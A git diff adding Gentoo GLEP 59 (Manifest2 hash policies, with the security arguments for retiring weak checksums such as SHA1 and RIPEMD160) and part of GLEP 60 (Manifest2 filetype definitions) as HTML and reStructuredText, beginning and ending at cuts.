+to retire old checksums actively, unless there is a overriding reason to
+keep a specific checksum, such as part of a migration plan.</p>
+</div>
+<div class="section" id="what-should-be-done">
+<h2><a class="toc-backref" href="#id8">What should be done</a></h2>
+<p>Portage should always try to verify all supported hashes that are
+available in a Manifest2, starting with the strongest ones as maintained
+by a preference list. Over time, the weaker checksums should be removed
+from Manifest2 files, once all old Portage installations have had
+sufficient time to upgrade. Stronger checksums shall be added as soon as
+an implementation is available in Portage. Weak checksums may be removed
+as long as the depreciation process is followed (see below).</p>
+<p>As soon as feasible, we should add the SHA512 and WHIRLPOOL algorithms.
+In future, as stream-based checksums are developed (in response to the
+development by NIST [AHS]), they should be considered and used.</p>
+<p>The SHA512 algorithm is available in Python 2.5, which has been a
+dependency of Portage since approximately Portage 2.1.6.13.</p>
+<p>The WHIRLPOOL checksum is not available within the PyCrypto library or
+hashlib that is part of Python 2.5, but there are multiple alternative
+Python implementations available, ranging from pure Python to C-based
+(python-mhash).</p>
+<p>The existence unsupported hash is not considered to be a failure unless
+no supported hashes are available for a given Manifest entry.</p>
+</div>
+<div class="section" id="checksum-depreciation-timing">
+<h2><a class="toc-backref" href="#id9">Checksum depreciation timing</a></h2>
+<div class="section" id="general-principles">
+<h3><a class="toc-backref" href="#id10">General principles:</a></h3>
+<p>A minimum set of depreciated checksums shall be maintained only to
+support old package manager versions where needed by historically used
+trees:</p>
+<ul class="simple">
+<li>New package manager versions should NOT use depreciated checksums in</li>
+<li>New trees with that have never used the depreciated checksums may omit
+them for reasons of size, but are still strongly suggested to include
+them.</li>
+<li>Removal of depreciated checksums shall happen after no less than 18
+months or one major Portage version cycle, whichever is greater.</li>
+</ul>
+</div>
+<div class="section" id="immediate-plans">
+<h3><a class="toc-backref" href="#id11">Immediate plans:</a></h3>
+<p>For the current Portage, both SHA1 and RIPEMD160 should be immediately
+removed, as they present no advantages over the already present SHA256.
+SHA256 cannot be replaced immediately with SHA512, as existing Portage
+versions need at least one supported algorithm present (SHA256 support
+was added in June 2006), so it must be retained for some while.</p>
+<p>Immediately:</p>
+<ul class="simple">
+<li>Add WHIRLPOOL and SHA512.</li>
+<li>Remove SHA1 and RIPEMD160.</li>
+</ul>
+<p>After the majority of Portage installations include SHA512 support:</p>
+<ul class="simple">
+<li>Remove SHA256.</li>
+</ul>
+</div>
+</div>
+</div>
+<div class="section" id="backwards-compatibility">
+<h1><a class="toc-backref" href="#id12">Backwards Compatibility</a></h1>
+<p>Old versions of Portage may support and expect only specific checksums.
+This is accounted for in the checksum depreciation discussion.</p>
+<p>For maximum compatiability, we should only have to include each of the
+old algorithms that we are officially still supporting, as well as the
+new ones that we prefer.</p>
+</div>
+<div class="section" id="references">
+<h1><a class="toc-backref" href="#id13">References</a></h1>
+<dl class="docutils">
+<dt>[AHS] NIST (2007). &quot;NIST's Plan for New Cryptographic Hash Functions&quot;,</dt>
+<dd>(Advanced Hash Standard). <a class="reference external" href="http://csrc.nist.gov/pki/HashWorkshop/">http://csrc.nist.gov/pki/HashWorkshop/</a></dd>
+<dt>[BOBO06] Boneh, D. and Boyen, X. (2006). &quot;On the Impossibility of</dt>
+<dd>Efficiently Combining Collision Resistant Hash Functions&quot;; Proceedings
+of CRYPTO 2006, Dwork, C. (Ed.); Lecture Notes in Computer Science
+4117, pp. 570-583. Available online from:
+<a class="reference external" href="http://crypto.stanford.edu/~dabo/abstracts/hashing.html">http://crypto.stanford.edu/~dabo/abstracts/hashing.html</a></dd>
+<dt>[H04] Hawkes, P. and Paddon, M. and Rose, G. (2004). &quot;On Corrective</dt>
+<dd>Patterns for the SHA-2 Family&quot;. CRYPTO 2004 Cryptology ePrint Archive,
+Report 2004/204. Available online from:
+<a class="reference external" href="http://eprint.iacr.org/2004/207.pdf">http://eprint.iacr.org/2004/207.pdf</a></dd>
+<dt>[J04] Joux, Antoie. (2004).  &quot;Multicollisions in Iterated Hash</dt>
+<dd>Functions - Application to Cascaded Constructions;&quot; Proceedings of
+CRYPTO 2004, Franklin, M. (Ed); Lecture Notes in Computer Science
+3152, pp.  306-316. Available online from:
+<a class="reference external" href="http://web.cecs.pdx.edu/~teshrim/spring06/papers/general-attacks/multi-joux.pdf">http://web.cecs.pdx.edu/~teshrim/spring06/papers/general-attacks/multi-joux.pdf</a></dd>
+<dt>[K06a] Klima, V. (2006). &quot;Tunnels in Hash Functions: MD5 Collisions</dt>
+<dd>Within a Minute&quot;. Cryptology ePrint Archive, Report 2006/105.
+Available online from: <a class="reference external" href="http://eprint.iacr.org/2006/105.pdf">http://eprint.iacr.org/2006/105.pdf</a></dd>
+<dt>[K06b] Klima, V. (2006). &quot;Note and links to high-speed MD5 collision</dt>
+<dd>proof of concept tools&quot;. Available online from:
+<a class="reference external" href="http://cryptography.hyperlink.cz/2006/trick.txt">http://cryptography.hyperlink.cz/2006/trick.txt</a></dd>
+<dt>[K08] Klima, V. (2008). &quot;On Collisions of Hash Functions Turbo SHA-2&quot;.</dt>
+<dd>Cryptology ePrint Archive, Report 2008/003. Available online from:
+<a class="reference external" href="http://eprint.iacr.org/2008/003.pdf">http://eprint.iacr.org/2008/003.pdf</a></dd>
+<dt>[G07] Gligoroski, D. and Knapskog, S.J. (2007). &quot;Turbo SHA-2&quot;.</dt>
+<dd>Cryptology ePrint Archive, Report 2007/403. Available online from:
+<a class="reference external" href="http://eprint.iacr.org/2007/403.pdf">http://eprint.iacr.org/2007/403.pdf</a></dd>
+<dt>[W04] Wang, X. et al: &quot;Collisions for Hash Functions MD4, MD5,</dt>
+<dd>HAVAL-128 and RIPEMD&quot;, rump session, CRYPTO 2004, Cryptology ePrint
+Archive, Report 2004/199, first version (August 16, 2004), second
+version (August 17, 2004). Available online from:
+<a class="reference external" href="http://eprint.iacr.org/2004/199.pdf">http://eprint.iacr.org/2004/199.pdf</a></dd>
+</dl>
+</div>
+<div class="section" id="thanks-to">
+<h1><a class="toc-backref" href="#id14">Thanks to</a></h1>
+<dl class="docutils">
+<dt>I'd like to thank the following folks, in no specific order:</dt>
+<dd><ul class="first last simple">
+<li>Ciaran McCreesh (ciaranm) - for pointing out the Joux (2004) paper,
+and also being stubborn enough in not accepting a partial solution.</li>
+<li>Marius Mauch (genone), Zac Medico (zmedico) and Brian Harring
+(ferringb): for being knowledgeable about the Portage Manifest2
+codebase.</li>
+</ul>
+</dd>
+</dl>
+</div>
+<div class="section" id="id1">
+<h1><a class="toc-backref" href="#id15">References</a></h1>
+<table class="docutils citation" frame="void" id="glep44" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[GLEP44]</td><td>Mauch, M. (2005) GLEP44 - Manifest2 format.
+<a class="reference external" href="http://www.gentoo.org/proj/en/glep/glep-0044.html">http://www.gentoo.org/proj/en/glep/glep-0044.html</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section" id="copyright">
+<h1><a class="toc-backref" href="#id16">Copyright</a></h1>
+<p>Copyright (c) 2006-2010 by Robin Hugh Johnson. This material may be
+distributed only subject to the terms and conditions set forth in the
+Open Publication License, v1.0.</p>
+<!-- vim: tw=72 ts=2 expandtab: -->
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference external" href="glep-0059.txt">View document source</a>.
+Generated on: 2010-04-07 21:54 UTC.
+Generated by <a class="reference external" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference external" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/glep/glep-0059.txt b/xml/htdocs/proj/en/glep/glep-0059.txt
new file mode 100644
index 00000000..eb4e1293
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0059.txt
@@ -0,0 +1,231 @@
+GLEP: 59
+Title: Manifest2 hash policies and security implications
+Version: $Revision: 1.9 $
+Last-Modified: $Date: 2010/04/07 21:34:24 $
+Author: Robin Hugh Johnson <robbat2@gentoo.org>, 
+Status: Draft
+Type: Standards Track
+Content-Type: text/x-rst
+Requires: 44
+Created: October 2006
+Updated: November 2007, June 2008, July 2008, October 2008, January 2010
+Updates: 44
+Post-History: December 2009, January 2010
+
+Abstract
+========
+While Manifest2 format allows multiple hashes, the question of which
+checksums should be present, why, and the security implications of such
+have never been resolved. This GLEP covers all of these issues, and
+makes recommendations as to how to handle checksums both now, and in
+future.
+
+Motivation
+==========
+This GLEP is being written as part of the work on signing the Portage
+tree, but is only tangentially related to the actual signing of
+Manifests. Checksums present one possible weak point in the overall
+security of the tree - and a comprehensive security plan is needed.
+
+This GLEP is not mandatory for the tree-signing specification, but
+instead aims to improve the security of the hashes used in Manifest2
+[GLEP44]. As such, it is also able to stand on it's own.
+
+Specification
+=============
+The bad news
+------------
+First of all, I'd like to cover the bad news in checksum security.
+A much discussed point, as been the simple question: What is the
+security of multiple independent checksums on the same data?
+The most common position (and indeed the one previously held by myself),
+is that multiple checksums would be an increase in security, but we
+could not provably quantify the amount of security this added.
+The really bad news, is that this position is completely and utterly
+wrong. Many of you will be aghast at this. There is extremely little
+added security in multiple checksums as noted by Joux [J04]. For any set
+of checksums, the actual strength lies in that of the strongest
+checksum.
+
+Wang et al [W04] extended Joux's [J04] work on SHA-0 to cover MD4, MD5,
+HAVAL-128 and RIPEMD families of hashes.
+
+How fast can MD5 be broken?
+---------------------------
+For a general collision, not a pre-image attack, since the announcement
+by Wang et al [W04], the time required to break MD5 has been massively
+reduced. Originally at 1 hour on a near-supercomputer (IBM P690) and
+estimated at 64 hours with a Pentium-3 1.7Ghz. This has gone down to
+less than in two years, to 17 seconds [K06a].
+
+- 08/2004 - 1 hour, IBM pSeries 690 (32x 1.7Ghz POWER4+) = 54.4 GHz-Hours
+
+- 03/2005 - 8 hours, Pentium-M 1.6Ghz = 12.8 Ghz-Hours
+
+- 11/2005 - 5 hours, Pentium-4 1.7Ghz = 8.5 Ghz-Hours
+
+- 03/2006 - 1 minute, Pentium-4 3.2Ghz = .05 Ghz-Hours
+
+- 04/2006 - 17 seconds, Pentium-4 3.2Ghz = .01 Ghz-Hours
+
+If we accept a factor of 800x as a sample of how much faster a checksum
+may be broken over the course of 2 years (MD5 using the above data is
+>2000x), then existing checksums do not stand a significant chance of
+survival in the future. We should thus accept that whatever checksums we
+are using today, will be broken in the near future, and plan as best as
+possible. (A brief review [H04] of the SHA1 attacks indicates an
+improvement of ~600x in the same timespan).
+
+And for those that claim implementation of these procedures is not yet
+feasible, see [K06b] for an application that can produce two
+self-extracting EXE files, with identical MD5s, and whatever payload you
+want.
+
+The good news
+-------------
+Of the checksums presently used by Manifest2 (SHA1, SHA256, RIPEMD160),
+one stands close to being completely broken: SHA1; and another is
+significantly weakened: RIPEMD160. The SHA2 series has suffered some
+attacks, but still remains reasonably solid [G07],[K08]. 
+
+To reduce the potential for future problems and any single checksum
+break leading to a rapid decrease in security, we should incorporate the
+strongest hash available from each family of checksums, and be prepared
+to retire old checksums actively, unless there is a overriding reason to
+keep a specific checksum, such as part of a migration plan.
+
+What should be done
+-------------------
+Portage should always try to verify all supported hashes that are
+available in a Manifest2, starting with the strongest ones as maintained
+by a preference list. Over time, the weaker checksums should be removed
+from Manifest2 files, once all old Portage installations have had
+sufficient time to upgrade. Stronger checksums shall be added as soon as
+an implementation is available in Portage. Weak checksums may be removed
+as long as the depreciation process is followed (see below).
+
+As soon as feasible, we should add the SHA512 and WHIRLPOOL algorithms.
+In future, as stream-based checksums are developed (in response to the
+development by NIST [AHS]), they should be considered and used.
+
+The SHA512 algorithm is available in Python 2.5, which has been a
+dependency of Portage since approximately Portage 2.1.6.13.
+
+The WHIRLPOOL checksum is not available within the PyCrypto library or
+hashlib that is part of Python 2.5, but there are multiple alternative
+Python implementations available, ranging from pure Python to C-based
+(python-mhash).
+
+The existence unsupported hash is not considered to be a failure unless
+no supported hashes are available for a given Manifest entry.
+
+Checksum depreciation timing
+----------------------------
+General principles:
+~~~~~~~~~~~~~~~~~~~
+A minimum set of depreciated checksums shall be maintained only to
+support old package manager versions where needed by historically used
+trees:
+
+- New package manager versions should NOT use depreciated checksums in
+
+- New trees with that have never used the depreciated checksums may omit
+  them for reasons of size, but are still strongly suggested to include
+  them.
+
+- Removal of depreciated checksums shall happen after no less than 18
+  months or one major Portage version cycle, whichever is greater.
+
+Immediate plans:
+~~~~~~~~~~~~~~~~
+For the current Portage, both SHA1 and RIPEMD160 should be immediately
+removed, as they present no advantages over the already present SHA256.
+SHA256 cannot be replaced immediately with SHA512, as existing Portage
+versions need at least one supported algorithm present (SHA256 support
+was added in June 2006), so it must be retained for some while.
+
+Immediately:
+
+- Add WHIRLPOOL and SHA512.
+
+- Remove SHA1 and RIPEMD160.
+
+After the majority of Portage installations include SHA512 support:
+
+- Remove SHA256.
+
+Backwards Compatibility
+=======================
+Old versions of Portage may support and expect only specific checksums.
+This is accounted for in the checksum depreciation discussion.
+
+For maximum compatiability, we should only have to include each of the
+old algorithms that we are officially still supporting, as well as the
+new ones that we prefer.
+
+References
+==========
+
+[AHS] NIST (2007). "NIST's Plan for New Cryptographic Hash Functions",
+  (Advanced Hash Standard). http://csrc.nist.gov/pki/HashWorkshop/
+
+[BOBO06] Boneh, D. and Boyen, X. (2006). "On the Impossibility of
+  Efficiently Combining Collision Resistant Hash Functions"; Proceedings
+  of CRYPTO 2006, Dwork, C. (Ed.); Lecture Notes in Computer Science
+  4117, pp. 570-583. Available online from:
+  http://crypto.stanford.edu/~dabo/abstracts/hashing.html
+
+[H04] Hawkes, P. and Paddon, M. and Rose, G. (2004). "On Corrective
+  Patterns for the SHA-2 Family". CRYPTO 2004 Cryptology ePrint Archive,
+  Report 2004/204. Available online from:
+  http://eprint.iacr.org/2004/207.pdf
+
+[J04] Joux, Antoie. (2004).  "Multicollisions in Iterated Hash 
+  Functions - Application to Cascaded Constructions;" Proceedings of
+  CRYPTO 2004, Franklin, M. (Ed); Lecture Notes in Computer Science
+  3152, pp.  306-316. Available online from:
+  http://web.cecs.pdx.edu/~teshrim/spring06/papers/general-attacks/multi-joux.pdf
+
+[K06a] Klima, V. (2006). "Tunnels in Hash Functions: MD5 Collisions
+  Within a Minute". Cryptology ePrint Archive, Report 2006/105.
+  Available online from: http://eprint.iacr.org/2006/105.pdf
+
+[K06b] Klima, V. (2006). "Note and links to high-speed MD5 collision
+  proof of concept tools". Available online from:
+  http://cryptography.hyperlink.cz/2006/trick.txt
+
+[K08] Klima, V. (2008). "On Collisions of Hash Functions Turbo SHA-2".
+  Cryptology ePrint Archive, Report 2008/003. Available online from:
+  http://eprint.iacr.org/2008/003.pdf
+
+[G07] Gligoroski, D. and Knapskog, S.J. (2007). "Turbo SHA-2".
+  Cryptology ePrint Archive, Report 2007/403. Available online from:
+  http://eprint.iacr.org/2007/403.pdf
+
+[W04] Wang, X. et al: "Collisions for Hash Functions MD4, MD5,
+  HAVAL-128 and RIPEMD", rump session, CRYPTO 2004, Cryptology ePrint
+  Archive, Report 2004/199, first version (August 16, 2004), second
+  version (August 17, 2004). Available online from:
+  http://eprint.iacr.org/2004/199.pdf
+
+Thanks to
+=========
+I'd like to thank the following folks, in no specific order:
+ - Ciaran McCreesh (ciaranm) - for pointing out the Joux (2004) paper,
+   and also being stubborn enough in not accepting a partial solution.
+ - Marius Mauch (genone), Zac Medico (zmedico) and Brian Harring
+   (ferringb): for being knowledgeable about the Portage Manifest2
+   codebase.
+
+References
+==========
+.. [GLEP44] Mauch, M. (2005) GLEP44 - Manifest2 format.
+   http://www.gentoo.org/proj/en/glep/glep-0044.html	
+
+Copyright
+=========
+Copyright (c) 2006-2010 by Robin Hugh Johnson. This material may be
+distributed only subject to the terms and conditions set forth in the
+Open Publication License, v1.0.
+
+.. vim: tw=72 ts=2 expandtab:
diff --git a/xml/htdocs/proj/en/glep/glep-0060.html b/xml/htdocs/proj/en/glep/glep-0060.html
new file mode 100644
index 00000000..284996da
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0060.html
@@ -0,0 +1,407 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.6: http://docutils.sourceforge.net/" />
+  <title>GLEP 60 -- Manifest2 filetypes</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" /></head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0060.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">60</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Manifest2 filetypes</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.10</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0060.txt?cvsroot=gentoo">2010/04/07 21:34:24</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Robin Hugh Johnson &lt;robbat2&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Draft</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference external" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Requires:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/proj/en/glepglep-0044.html">44</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">November 2007</td>
+</tr>
+<tr class="field"><th class="field-name">Updated:</th><td class="field-body">June 2008, July 2008, October 2008, January 2010</td>
+</tr>
+<tr class="field"><th class="field-name">Updates:</th><td class="field-body">44</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">December 2009, January 2010</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic" id="contents">
+<p class="topic-title first">Contents</p>
+<ul class="simple">
+<li><a class="reference internal" href="#abstract" id="id4">Abstract</a></li>
+<li><a class="reference internal" href="#motivation" id="id5">Motivation</a></li>
+<li><a class="reference internal" href="#specification" id="id6">Specification</a><ul>
+<li><a class="reference internal" href="#general" id="id7">General</a></li>
+<li><a class="reference internal" href="#excluded-files" id="id8">Excluded files</a></li>
+<li><a class="reference internal" href="#existing-filetypes" id="id9">Existing filetypes:</a><ul>
+<li><a class="reference internal" href="#aux" id="id10">AUX</a></li>
+<li><a class="reference internal" href="#ebuild" id="id11">EBUILD</a></li>
+<li><a class="reference internal" href="#dist" id="id12">DIST</a></li>
+<li><a class="reference internal" href="#misc" id="id13">MISC</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#new-filetypes" id="id14">New filetypes:</a><ul>
+<li><a class="reference internal" href="#info-new-abstract" id="id15">_INFO (new, abstract)</a></li>
+<li><a class="reference internal" href="#crit-new-abstract" id="id16">_CRIT (new, abstract)</a></li>
+<li><a class="reference internal" href="#id1" id="id17">EBUILD</a></li>
+<li><a class="reference internal" href="#id2" id="id18">DIST</a></li>
+<li><a class="reference internal" href="#id3" id="id19">MISC</a></li>
+<li><a class="reference internal" href="#manifest-new" id="id20">MANIFEST (new)</a></li>
+<li><a class="reference internal" href="#eclass-new" id="id21">ECLASS (new)</a></li>
+<li><a class="reference internal" href="#data-new" id="id22">DATA (new)</a></li>
+<li><a class="reference internal" href="#exec-new" id="id23">EXEC (new)</a></li>
+<li><a class="reference internal" href="#other-new" id="id24">OTHER (new)</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#on-bloat" id="id25">On Bloat</a></li>
+<li><a class="reference internal" href="#chosing-a-filetype" id="id26">Chosing a filetype</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#backwards-compatibility" id="id27">Backwards Compatibility</a></li>
+<li><a class="reference internal" href="#thanks-to" id="id28">Thanks to</a></li>
+<li><a class="reference internal" href="#references" id="id29">References</a></li>
+<li><a class="reference internal" href="#copyright" id="id30">Copyright</a></li>
+</ul>
+</div>
+<div class="section" id="abstract">
+<h1><a class="toc-backref" href="#id4">Abstract</a></h1>
+<p>Clarification of the Manifest2 [GLEP44] specification, including new types to
+help in the tree-signing specification.</p>
+</div>
+<div class="section" id="motivation">
+<h1><a class="toc-backref" href="#id5">Motivation</a></h1>
+<p>[GLEP44] was not entirely clear on the usage of filetype specifiers.
+This document serves to provide some of the internal logic used by
+Portage at the point of writing, as well as adding new types to cover
+the rest of the tree, for the purposes of tree-signing coverage.</p>
+<p>This GLEP is not mandatory for the tree-signing specification, but
+instead aims to clarify the usage of the Manifest2 filetype specifiers,
+and note which types signify files that are allowed to be missing from
+the tree (e.g. a user excluding a package or category). As such, it is
+also able to stand on it's own.</p>
+</div>
+<div class="section" id="specification">
+<h1><a class="toc-backref" href="#id6">Specification</a></h1>
+<div class="section" id="general">
+<h2><a class="toc-backref" href="#id7">General</a></h2>
+<p>For any given directory with a Manifest file, every file located in that
+directory, or a sub-directory must be listed in that Manifest file,
+unless stated otherwise in the following sections. The Manifest file
+must not contain an entry for itself.</p>
+</div>
+<div class="section" id="excluded-files">
+<h2><a class="toc-backref" href="#id8">Excluded files</a></h2>
+<p>When generating or validating a Manifest, or committing to a version
+control system, the package manager should endeavour to ignore files
+created by a version control system, backup files from text editors. A
+non-exhaustive list is suggested here: <tt class="docutils literal">CVS/</tt>, <tt class="docutils literal">.svn/</tt>, <tt class="docutils literal">.bzr/</tt>,
+<tt class="docutils literal">.git/</tt>, <tt class="docutils literal">.hg/</tt>, <tt class="docutils literal">.#*</tt>, <tt class="docutils literal">*.rej</tt>, <tt class="docutils literal">*.orig</tt>, <tt class="docutils literal">*.bak</tt>, <tt class="docutils literal">*~</tt>.</p>
+<p>Additionally, for a transitional Manifest1-&gt;Manifest2 system, old-style
+digest files located in a 'files/' directory, may be excluded from
+Manifest2 generation, or included with a type of MISC.</p>
+<p>Under strict security conditions, the exclusion list may be ignored
+during validation if the existence of a file would be considered a
+security risk.</p>
+</div>
+<div class="section" id="existing-filetypes">
+<h2><a class="toc-backref" href="#id9">Existing filetypes:</a></h2>
+<div class="section" id="aux">
+<h3><a class="toc-backref" href="#id10">AUX</a></h3>
+<ul class="simple">
+<li>The AUX type is used for all items under the 'files' subdirectory.</li>
+<li>They should be verified relative to $FILESDIR.</li>
+<li>The string 'files/' is left out of the Manifest line.</li>
+<li>The absence of a file mentioned by AUX must be treated as an error.</li>
+<li>The AUX type is intended to denote potentially executable content
+(either directly or indirectly), that must be treated an error if
+modified or absent.</li>
+</ul>
+</div>
+<div class="section" id="ebuild">
+<h3><a class="toc-backref" href="#id11">EBUILD</a></h3>
+<ul class="simple">
+<li>The EBUILD type is used solely for files ending in .ebuild, or other
+suffixes as defined by the EAPI.</li>
+<li>The files are located in the same directory as the Manifest file.</li>
+<li>The modification or absence of a file mentioned by EBUILD must be
+treated as an error.</li>
+</ul>
+</div>
+<div class="section" id="dist">
+<h3><a class="toc-backref" href="#id12">DIST</a></h3>
+<ul class="simple">
+<li>The DIST type is used for distfiles</li>
+<li>They may be found directly via the $DISTDIR setting of the package
+manager.</li>
+<li>During simple verification of a Manifest, a missing DIST file should
+not be consider as a validation error (it is however a failure to
+fetch or unpack).</li>
+</ul>
+</div>
+<div class="section" id="misc">
+<h3><a class="toc-backref" href="#id13">MISC</a></h3>
+<ul class="simple">
+<li>The MISC type covers all remaining files in a directory.</li>
+<li>MISC is intended to mark all content that was not used in
+some way that directly affected execution of the package manager.</li>
+<li>This includes metadata.xml and ChangeLog entries, and any other purely
+informational content.</li>
+<li>MISC entries where the file is missing may optionally be ignored as by
+non-strict package managers.</li>
+<li>It should be possible to install a package while all MISC entries have
+been deleted from the tree.</li>
+</ul>
+</div>
+</div>
+<div class="section" id="new-filetypes">
+<h2><a class="toc-backref" href="#id14">New filetypes:</a></h2>
+<div class="section" id="info-new-abstract">
+<h3><a class="toc-backref" href="#id15">_INFO (new, abstract)</a></h3>
+<ul class="simple">
+<li>This is the functionality of the old AUX, but does not include the
+implicit 'files/' prefix in the path, and is verified relative to the
+working directory instead of $FILESDIR.</li>
+<li>The modification or absence of a file listed as a _INFO-derived type
+is not an error unless the package manager is attempting to be strict.</li>
+</ul>
+</div>
+<div class="section" id="crit-new-abstract">
+<h3><a class="toc-backref" href="#id16">_CRIT (new, abstract)</a></h3>
+<ul class="simple">
+<li>_CRIT is based off the _INFO type.</li>
+<li>The modification or absence of a file listed as a _CRIT-derived type
+MUST be treated as an error.</li>
+</ul>
+</div>
+<div class="section" id="id1">
+<h3><a class="toc-backref" href="#id17">EBUILD</a></h3>
+<ul class="simple">
+<li>Now derived from _CRIT.</li>
+<li>Otherwise unchanged.</li>
+</ul>
+</div>
+<div class="section" id="id2">
+<h3><a class="toc-backref" href="#id18">DIST</a></h3>
+<ul class="simple">
+<li>Now derived from _CRIT.</li>
+<li>Otherwise unchanged.</li>
+</ul>
+</div>
+<div class="section" id="id3">
+<h3><a class="toc-backref" href="#id19">MISC</a></h3>
+<ul class="simple">
+<li>Now derived from _INFO.</li>
+<li>Otherwise unchanged.</li>
+</ul>
+</div>
+<div class="section" id="manifest-new">
+<h3><a class="toc-backref" href="#id20">MANIFEST (new)</a></h3>
+<ul class="simple">
+<li>The MANIFEST type is explicitly to cover all nested Manifest files.</li>
+<li>During validation, this serves as an indicator that the package
+manager may need to check subtree Manifest file.</li>
+<li>A missing MANIFEST file may be treated as a minor (e.g. excluding an
+entire category) or critical validation failure.</li>
+<li>The failure should be considered as critical only if files that would
+be directly covered by this Manifest are missing. Deletion of a
+category-level Manifest while preserving the packages is forbidden.
+Deletion of an entire category is not.</li>
+</ul>
+</div>
+<div class="section" id="eclass-new">
+<h3><a class="toc-backref" href="#id21">ECLASS (new)</a></h3>
+<ul class="simple">
+<li>uses _CRIT.</li>
+<li>This type shall be used for all eclasses only.</li>
+</ul>
+</div>
+<div class="section" id="data-new">
+<h3><a class="toc-backref" href="#id22">DATA (new)</a></h3>
+<ul class="simple">
+<li>uses _CRIT.</li>
+<li>The DATA type shall be used for all files that directly affect the
+package manager, such as metadata/cache/* and profiles/.</li>
+</ul>
+</div>
+<div class="section" id="exec-new">
+<h3><a class="toc-backref" href="#id23">EXEC (new)</a></h3>
+<ul class="simple">
+<li>uses _CRIT.</li>
+<li>If the file gets sourced, executed, or causes a change (patches) in
+how something is sourced or executed, it belongs in the EXEC
+filetype.</li>
+<li>This filetype should be used for the scripts directories of a
+repository for important files.</li>
+<li>This filetype is not limited to being used in the files/
+subdirectory.</li>
+</ul>
+</div>
+<div class="section" id="other-new">
+<h3><a class="toc-backref" href="#id24">OTHER (new)</a></h3>
+<ul class="simple">
+<li>uses _CRIT.</li>
+<li>All other files that are not covered by another type should be
+considered as 'OTHER'.</li>
+<li>Any further new filetypes should be introduced to subtract files
+from the 'OTHER' set.</li>
+<li>If a package manager runs into a unknown Manifest2 type, it should
+be treated as 'OTHER'.</li>
+</ul>
+</div>
+</div>
+<div class="section" id="on-bloat">
+<h2><a class="toc-backref" href="#id25">On Bloat</a></h2>
+<p>If repeated use of a common path prefix is considered a bloat problem, a
+Manifest file should be added inside the common directory, however this
+should not be done blindly, as bloat by inodes is more significant for
+the majority of use cases. See also [GLEP58] on size reductions of
+Manifests.</p>
+</div>
+<div class="section" id="chosing-a-filetype">
+<h2><a class="toc-backref" href="#id26">Chosing a filetype</a></h2>
+<ol class="arabic">
+<li><dl class="first docutils">
+<dt>matches <tt class="docutils literal">Manifest</tt></dt>
+<dd><p class="first last">=&gt; MANIFEST, stop.</p>
+</dd>
+</dl>
+</li>
+<li><dl class="first docutils">
+<dt>matches <tt class="docutils literal">*.ebuild</tt></dt>
+<dd><p class="first last">=&gt; EBUILD, stop.</p>
+</dd>
+</dl>
+</li>
+<li><dl class="first docutils">
+<dt>matches <tt class="docutils literal">*.eclass</tt></dt>
+<dd><p class="first last">=&gt; ECLASS, stop.</p>
+</dd>
+</dl>
+</li>
+<li><dl class="first docutils">
+<dt>listed in SRC_URI</dt>
+<dd><p class="first last">=&gt; DIST, stop.</p>
+</dd>
+</dl>
+</li>
+<li><dl class="first docutils">
+<dt>matches <tt class="docutils literal">files/*</tt></dt>
+<dd><p class="first last">=&gt; AUX, continue [see note].</p>
+</dd>
+</dl>
+</li>
+<li><dl class="first docutils">
+<dt>matches any of <tt class="docutils literal">*.sh</tt>, <tt class="docutils literal">*.bashrc</tt>, <tt class="docutils literal">*.patch</tt>, ...</dt>
+<dd><p class="first last">=&gt; EXEC, stop.</p>
+</dd>
+</dl>
+</li>
+<li><dl class="first docutils">
